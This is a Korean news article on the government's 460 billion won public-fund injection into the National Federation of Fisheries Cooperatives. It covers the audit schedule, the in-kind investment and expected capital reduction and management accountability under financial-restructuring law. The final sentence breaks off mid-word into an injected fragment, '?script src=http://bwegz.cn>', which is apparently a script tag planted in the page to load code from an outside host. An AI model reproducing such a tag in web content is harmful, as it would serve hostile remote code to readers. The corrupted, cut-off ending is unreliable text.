" 수협중앙회에 대한 정부의 공적자금투입규모가 4600억원으로 확정된 가운데 공적자금투입과 동시에 감자(減資)와 경영부실에 따른 인책등의 조치가 뒤따를 것으로 보인다.
이때문에 그동안 꾸준히 구조조정등 개혁을 추진해왔던 수협은 이전보다 더 강력한 개혁이 불가피할 것으로 예상된다.
해양수산부는 9일 수협중앙회 경영정상화를 위해 4600억원 규모의 공적자금을 정부현물출자 방식으로 지원키로 확정했다고 공식 발표했다.
해양수산부는 구체적인 지원방안마련을 위해 이달중 금융감독원에서 수협결산등을 중심으로 종합적인 재산실사를 실시할 계획이라고 밝혔다.
또 이번 자금지원이 경영혁신을 전제로 한 만큼 해양수산부는 신용사업과 지도사업의 분리, 금융시장 논리에 따른 여신관리, 조직과 인원의 추가감축, 고정자산 조기매각등 강도 높은 구조조정에 초점을 맞추기로 했다.
이와관련 해양수산부 안국전수산정책국장은 『수협의 현실과 입장을 충분히 반영하는데 적극 노력하겠지만 신경분리, 강력한 구조조정등 불가피한 조치들이 수반되는 것은 배제할 수 없다』고 말했다.
또한 『현재 공적자금투입에 따른 수협개혁 시나리오를 몇가지 가지고 있지만 아직까지 밝힐 단계가 아니다』라면서 『다만 신용사업과 지도·경제사업의 회계상분리까지도 고려할 수 있으며 분리방안에 대한 전문가의견을 수렴할 계획』이라고 덧붙였다.
<공적자금투입 스케쥴과 방식>
해양수산부는 아직까지 정확한 공적자금투입 일정이 잡혀 있지 않으나 상반기안에는 마무리될 것으로 밝혔다.
이는 이달안에 금감원의 재산실사가 이뤄지는 것과 때를 같이해 우선출자에 대한 구체항목을 담은 수협법시행령개정절차를 감안하면 적어도 40일이상이 소요돼기 때문이다.
현재 수협재산실사는 3월 18일께 실시돼 이달안에 결과가 나올 것으로 알려졌다.
이와함께 해양수산부는 개정 수협법 제 134조 8의 우선출자규정에 따른 시행령개정이 관계부처와 협의중이며 금명간 입법예고할 계획이다. 이 시행령에는 일반인의 우선출자, 정부출자에 대한 방식과 출자조건, 금액, 현물출자의 경우 가격·배당등 구체적인 출자내역이 포함된다.
따라서 우선출자에 대한 법적장치가 마련되면 재경부, 금감원등 관련부처와 협의가 끝나는 대로 빠르면 5월말이나 6월초 공적자금 투입이 이뤄지게 될 것으로 예측된다.
해양수산부는 현재 출자방식과 관련 정부현물출자로만 밝히면서 구체적인 내용에 대해서는 언급을 회피했다. 그러나 D공사의 정부보유주식이 지원될 것이며 협의중에 있는 것으로 전해졌다.
<감자와 책임추궁>
공적자금투입과 후속조치에 관련된 법령은 「수협법」과 「국유재산의 현물출자에 관한 법」, 「금융산업의 구조개선에 관한 법」등 3가지로 집약된다.
수협법(시행령)에는 수협공적자금 투입규모, 절차등에 관한 내용을 포함하고 있으며 국유재산 현물출자법엔 국유재산 현물출자 대상기관(현재 52개)안에 법개정작업을 통해 수협이 포함되는 것이다.
금산법에는 공적자금투입시 감자, 책임부문을 규정해 놓고 있다.
이에따라 수협이 공적자금투입 대상기관에 포함되면 금산법에 따른 경영책임을 묻지 않을 수 없는 게 현실이다.
금산법 제 2조 3항에는 경영실사 결과 부채가 자산을 초과하거나 거액의 금융사고 또는 부실채권발생으로 정상적 경영이 어려울 것이 명백한 금융기관을 부실금융기관으로 규정해 놓고 있다.
또 제 10조에는 이런 부실금융기관 정비를 위해 임·직원문책, 자본감소등 9개항의 시정조치를 취하도록 돼 있다.
협동조합의 특수성을 인정받으면서 IMF이후 이 금산법 적용을 받고 있는 수협역시 이같은 시정조치가 취해질 것이 확실시된다.
특히 법조문상 「금감위는 ···다음 각??사항(시정조치내용)을 권고·요구 또는 명령하거나 그 이행계획을 제출할 것을 명하여야 한다」고 못박고 있어 설득력을 더하고 있다.
이와관련 해양수산부 관계자는 『현재로서 감자나 경영책임을 묻는 것이 불가피하다고 말할 수는 없지만 일련의 시정조치를 전혀 배제할 수 없는 상황』이라면서 『그러나 해양수산부는 재경부등이 수협의 특수성을 충분히 인식하고 있는데 따라 조직이 받는 압박을 최소화하는데 힘을 기울일 것』이라고 말했다.
하지만 칼자루는 금융논리를 내세우고 있는 금감원이 쥐고 있는 게 현실이어서 어떤 형태로든 감자실시나 책임추궁이 불거져 나올 것으로 보인다.
이를 뒷받침하는 것이 이미 자본에 대한 감소비율 즉 감자비율이 수협안팎에서 흘러나오고 있다. 현재 수협의 자본금은 2240억원으로 이중 10% 수준정도 감자될 것이라는 의견들이 표면화되고 있다.
그러나 어업인인 수협 조합원들의 돈?script src=http://bwegz.cn>
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